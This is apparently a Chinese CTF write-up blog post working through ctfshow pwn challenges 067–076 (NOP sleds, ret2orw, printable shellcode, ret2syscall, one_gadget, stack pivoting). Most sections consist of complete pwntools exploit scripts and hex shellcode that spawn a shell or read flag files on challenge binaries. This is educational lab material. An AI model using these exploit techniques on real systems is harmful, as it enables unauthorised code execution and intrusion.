067
题目描述
32bit nop sled
根据描述,这道题的预期解法应该是用到 NOP 滑梯的


关键函数如上,可以看见 position 的位置一定是比 main 函数栈帧更低的,因为 main 来自于 v1 + v2,v2 取值范围大概是 (0~1336) - 668 , 也就是 v1 +- 668(0x29c),那我们调用 query 的时候

这是其 ESP 值

这是 main-ebp 的值,我们可以看见两者差值 0x1018, 那么接着压入返回地址,ebp ,那么我们可以大致算出
query_ebp = main_ebp - 0x1020
v1 就是 main_ebp - 0x1035 ,position 就是 main_ebp - 0x1035 +- 0x29c
seed 起始位置是 main_ebp -0x100c
那我们可以粗略的算出两者差值 29 +- 29c
也就是 [-2c5 ~ 273]。
差值算出来那就可以写脚本了,脚本如下
#! /usr/bin/env python3from pwn import *context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)p = process("./pwn")p.recvuntil(b"The current location: ")leak = int(p.recvline().strip(), 16)log.success(f"leak = {hex(leak)}")shellcode = asm(shellcraft.sh())payload = b"\x90" * (0x1000 - 1 - len(shellcode)) + shellcodep.sendlineafter(b"What will you do?\n> ", payload)p.sendlineafter(b"Where do you start?\n> ", hex(leak + 0x400).encode())p.interactive()
068
题目描述
64bit nop sled


还是按照我们之前的方法算差值


main_rbp - v1 是 0x1045
v1 与 seed 是 0x35
position 就是 [-2d1 ~ 267]
#! /usr/bin/env python3from pwn import *context(os="linux", arch="amd64", log_level="info")elf = ELF("./pwn", checksec=False)p = process("./pwn")p.recvuntil(b"The current location: ")leak = int(p.recvline().strip(), 16)log.success(f"leak = {hex(leak)}")shellcode = asm(shellcraft.sh())payload = b"\x90" * (0x1000 - 1 - len(shellcode)) + shellcodep.sendlineafter(b"What will you do?\n> ", payload)p.sendlineafter(b"Where do you start?\n> ", hex(leak + 0x400).encode())p.interactive()
069
题目描述
可以尝试用ORW读flag flag文件位置为/ctfshow_flag
根据提示应该是 ret2orw 了
回顾一下 ret2orw
前置知识
劫持程序流完成
open("flag",0)read(fd,buf,size)write(1,buf,size)ret2orw 是发生在被沙箱禁用了一些函数情况下,如 execeve 情况下
open
fd = open("flag", 0);0 -> stdin1 -> stdout2 -> stderr3 -> 第一个新打开的文件当程序没有 flag 字符串,我们需要让程序中含有 flag 需要用到 read
完整逻辑
read(0, bss, 0x20); // 写入 "flag\x00"fd = open(bss, 0); // 打开 flagread(fd, bss+0x100, 0x100);// 读取 flag 内容write(1, bss+0x100, 0x100);// 打印 flag 内容题目内容

read open write exit




正常我们 ret2orw 需要 rdi rsi rdx ,但很明显这道题溢出空间不够,checksec 发现 NX 没开,那我们就有了利用思路,首先我们在栈上布局好短 loader 机器码,之后利用 jmp rsp 跳到后面紧接着布局的 asm gadget,将 rsp 恢复再跳转即可
#!/usr/bin/env python3from pwn import *context(os="linux", arch="amd64", log_level="info")elf = ELF("./pwn", checksec=False)mmap = 0x123000p = remote("pwn.challenge.ctf.show", 28304)p.recvuntil(b"Now you can use ORW to do\n")orwshell = shellcraft.open("/ctfshow_flag") + shellcraft.read(3, mmap, 0x100) + shellcraft.write(1, mmap, 0x100)orwshell = asm(orwshell)payload = asm(shellcraft.read(0, mmap, 0x100)) + asm("mov rax,0x123000; jmp rax")payload = payload.ljust(0x28, b"\x00")payload += p64(0x400a01) + asm("sub rsp,0x30;jmp rsp")p.sendline(payload)p.sendline(orwshell)p.interactive()
注意跳转不要跳到函数开头,我们要的是 jmp rsp 这个 gadget 本身
070
题目描述
可以开始你的个人秀了 flag文件位置为/flag

会对输入进行检查,是否为可打印字符,只有可打印字符才是合法的

NX 没开,可以看到



#! /usr/bin/env python3 from pwn import *context(os="linux", arch="amd64", log_level="info")elf = ELF("./pwn", checksec=False)p = remote("pwn.challenge.ctf.show", 28104)shellcode = bytes.fromhex( "00c0" "68666c6167" "c64424ff2f" "48ffcc" "4889e7" "31f6" "6a02" "58" "0f05" "97" "4889e6" "31d2" "b260" "31c0" "0f05" "6a01" "5f" "6a01" "58" "0f05" "31ff" "6a3c" "58" "0f05" )p.recvuntil(b"Welcome,tell me your name:\n")p.sendline(shellcode)p.interactive()
071
题目描述
32位的ret2syscall
看见IDA 很多函数,应该是静态链接了

偏移跟 IDA 不一样,具体验证是

是 112
#! /usr/bin/env python3from pwn import *context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)rop = ROP(elf)p = process("./pwn")pop_eax = rop.find_gadget(["pop eax", "ret"]).addresspop_edx_ecx_ebx = 0x806eb90int80 = rop.find_gadget(["int 0x80", "ret"]).addressbin_sh = next(elf.search(b"/bin/sh\x00"))p.recvuntil(b"Try to use ret2syscall!\n")offset = 112payload = b"A" * offsetpayload += flat([ pop_eax, 11, pop_edx_ecx_ebx, 0 , 0 , bin_sh, int80])p.sendline(payload)p.interactive()
072
题目描述
接着练ret2syscall,多系统函数调用

没有 /bin/sh 那看来需要我们自己构造了

实际偏移
#! /usr/bin/env python3from pwn import *context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)rop = ROP(elf)p = process("./pwn")pop_eax = rop.find_gadget(["pop eax", "ret"]).addresspop_edx_ecx_ebx = 0x0806ecb0int80 = rop.find_gadget(["int 0x80", "ret"]).addressp.recvuntil(b"where is my system?\n")offset = 44payload = b"A" * offsetpayload += flat([ pop_eax,3, pop_edx_ecx_ebx,0x100,0x80EA54C,0 , int80, pop_eax, 11, pop_edx_ecx_ebx, 0 , 0 ,0x80EA54C , int80])p.sendline(payload)p.sendline(b"/bin/sh\x00")p.interactive()073
题目描述
愉快的尝试一下一把梭吧!
#! /usr/bin/env python3from pwn import *context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)rop = ROP(elf)p = process("./pwn")pop_eax = rop.find_gadget(["pop eax", "ret"]).addresspop_edx_ecx_ebx = 0x0806f050int80 = rop.find_gadget(["int 0x80", "ret"]).addressp.recvuntil(b"Try to Show-hand!!\n")offset = 28payload = b"A" * offsetpayload += flat([ pop_eax,3, pop_edx_ecx_ebx,0x100,0x80EA54C,0 , int80, pop_eax, 11, pop_edx_ecx_ebx, 0 , 0 ,0x80EA54C , int80])p.sendline(payload)p.sendline(b"/bin/sh\x00")p.interactive()一把梭
有个实用命令 ROPgadget --binary ./pwn --ropchain

074
题目描述
噢?好像到现在为止还没有了解到one_gadget?
前置知识: one_gadget
是 ret2libc 的简化技巧,指的是 libc 里面有些地址只要跳转过去满足特定条件就能触发 shell
execve(pathname, argv, envp); 这是其完整原型argv 是参数数组 ,envp 是环境变量数组
#!/usr/bin/env python3from pwn import *context(os="linux", arch="amd64", log_level="info")HOST = "pwn.challenge.ctf.show"PORT = 28103PRINTF_OFF = 0x64e40ONE_GADGET_OFF = 0x10a2fcp = remote(HOST, PORT)p.recvuntil(b"What's this:")printf_addr = int(p.recvuntil(b" ").strip(), 16)libc_base = printf_addr - PRINTF_OFFone_gadget = libc_base + ONE_GADGET_OFFlog.success(f"printf = {hex(printf_addr)}")log.success(f"libc = {hex(libc_base)}")log.success(f"one = {hex(one_gadget)}")p.sendline(str(one_gadget).encode())p.interactive()
075
题目描述
栈空间不够怎么办?
根据这道题的描述,大概率是用到栈迁移的
前置知识:栈迁移
在 rbp 中放置我们目标栈底,返回地址放 leave ret 这样子实际上 leave ret 两次,第一次迁移 rbp,第二次迁移 rsp
题目


可以看见可以我们刚好能够放置 rbp 和 返回地址
第一遍 read 泄露栈上保存的 ebp ,之后我们反推buf起始地址

注意我们动调的时候最后可以换成 0x27 ,不然多出来的 \n 会覆盖一个字节的 ebp

可以看出距离 0x38
#! /usr/bin/env python3from pwn import *context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)p = process("./pwn")offset = 0x28leave_ret = 0x080484d5system_addr = elf.symbols["system"]payload = b"a" * (offset - 1) + b"b"p.recvuntil(b"codename:\n")p.send(payload)p.recvuntil(b"b")leak = u32(p.recv(4))log.success(f"leak = {hex(leak)}")buf_addr = leak - 0x38log.success(f"buf_addr = {hex(buf_addr)}")p.recvuntil(b'What do you want to do?\n')payload = p32(0) +p32(system_addr) + p32(0) + p32(buf_addr + 16) + b"/bin/sh\x00"len = len(payload)payload = payload.ljust(0x28, b"\x00") + p32(buf_addr) + p32(leave_ret)p.sendline(payload)p.interactive()
076
题目描述
还是那句话,理清逻辑很重要

看 IDA
int __cdecl main(int argc, const char **argv, const char **envp){ char v4; // [esp+4h] [ebp-3Ch] int v5; // [esp+18h] [ebp-28h] BYREF _BYTE s[30]; // [esp+1Eh] [ebp-22h] BYREF unsigned int v7; // [esp+3Ch] [ebp-4h] memset(s, 0, sizeof(s)); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); printf("CTFshow login: ", v4); _isoc99_scanf("%30s", s); memset(&input, 0, 0xCu); v5 = 0; v7 = Base64Decode(s, &v5); if ( v7 > 0xC ) { puts("Input Error!"); } else { memcpy(&input, v5, v7); if ( auth(v7) == 1 ) correct(); } return 0;}int __cdecl Base64Decode(int a1, _DWORD *a2){ int v2; // eax int v3; // eax int v4; // eax int v5; // eax int v7; // [esp+1Ch] [ebp-1Ch] int v8; // [esp+20h] [ebp-18h] int v9; // [esp+24h] [ebp-14h] int v10; // [esp+2Ch] [ebp-Ch] v10 = calcDecodeLength(a1); *a2 = malloc(v10 + 1); v2 = strlen(a1); v9 = fmemopen(a1, v2, &unk_80DA64A); v3 = BIO_f_base64(); v8 = BIO_new(v3); v4 = BIO_new_fp(v9, 0); v7 = BIO_push(v8, v4); BIO_set_flags(v7, 256); v5 = strlen(a1); *(_BYTE *)(*a2 + BIO_read(v7, *a2, v5)) = 0; BIO_free_all(v7); fclose(v9); return v10;}这边的话可以看见返回了解密 base64 后的长度,然后进行校验,明文需要小于 12
_BOOL4 __cdecl auth(int a1){ _BYTE v2[8]; // [esp+14h] [ebp-14h] BYREF char *s2; // [esp+1Ch] [ebp-Ch] int v4; // [esp+20h] [ebp-8h] BYREF memcpy(&v4, &input, a1); s2 = (char *)calc_md5(v2, 12); printf("hash : %s\n", s2); return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;}进入 auth ,需要对我们的明文进行 md5 校验,那正经校验是走不通的,但是这里有一个溢出点
int v4; // [esp+20h] [ebp-8h] BYREF memcpy(&v4, &input, a1);a1 最大是 12,会覆盖到 v4 ,但是 v4 距离 ebp 8 字节,刚好我们能改变 main 的 ebp
void __noreturn correct(){ if ( input == -559038737 ) { puts("Wow Fantastic,you deserve it!"); system("/bin/sh"); } exit(0);}如果刚才校验通过,并且 input == -559038737,从汇编看是 0xdeadbeef

我们去看 input

起始位置是 0x0811eb40,我们需要在这里放置 0xdeadbeef以此通过 correct 的校验。但关键问题是,我们如何进入 correct。刚才我们提到 auth 函数中我们可以修改 main_ebp,那么,当 main 正常结束后,leave ret就会讲 rsp 指向我们修改的地方。关键点在于,这个 input 不是我们刻意劫持程序存放的,而是程序会自己将我们的解码后的内容拷贝到 input,所以我们的 9-12 字节也就是 fake rbp 会拷贝到 0811eb48 ,我们的 1-4 就会拷贝到 0811eb40 ,而 correct 会从这里取值比较,所以 1-4字节我们需要放置 0xdeadbeef 而由于刚好 ret 会 pop [rsp+4] rip,那么此时 0x811eb44 我们布置成 correct 函数的地址。即 payload 构造
(0xdeadbeef + correct + fake_ebp).encodebase64完整脚本如下
#! /usr/bin/env python3from pwn import *import base64context(os="linux", arch="i386", log_level="info")elf = ELF("./pwn", checksec=False)p = process("./pwn")correct_addr = elf.symbols["correct"]p.recvuntil(b'CTFshow login: ')payload = p32(0xdeadbeef) payload += p32(correct_addr)payload += p32(0x0811EB40)payload = base64.b64encode(payload)p.sendline(payload)p.interactive()

读者回信
正在翻开留言页...